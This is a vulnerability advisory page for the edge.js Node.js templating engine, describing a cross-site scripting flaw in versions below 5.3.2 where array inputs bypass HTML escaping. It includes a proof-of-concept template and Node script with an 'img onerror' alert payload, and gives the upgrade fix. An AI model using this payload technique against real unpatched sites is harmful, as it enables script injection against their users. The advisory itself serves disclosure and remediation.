• latest version

    6.3.0

  • latest non vulnerable version

  • first published

    8 years ago

  • latest version published

    9 days ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the edge.js package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Cross-site Scripting (XSS)

    edge.js is a Node.js templating engine with fresh air.

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS). A type confusion vulnerability can be used to bypass input sanitization when the input to be rendered is an array (instead of a string or a SafeValue), even if {{ }} are used.

    PoC

    - create the following file (welcome.edge) under the views folder:
    <p> {{ greeting }} </p>
    
    - run the following code:
    const { join } = require('path')
    
    const edge = require('edge.js').default
    
    edge.mount(join(__dirname, 'views'))
    
    edge.render('welcome', {
      greeting: "<img src=x onerror='alert(1)' />"
    }).then(html => console.log(html)) // <p> &lt;img src=x onerror=&#x27;alert(1)&#x27; /&gt; </p>
    
    edge.render('welcome', {
        greeting: ["<img src=x onerror='alert(2)' />"]
      }).then(html => console.log(html)) // <p> <img src=x onerror='alert(2)' /> </p>
    

    How to fix Cross-site Scripting (XSS)?

    Upgrade edge.js to version 5.3.2 or higher.

    <5.3.2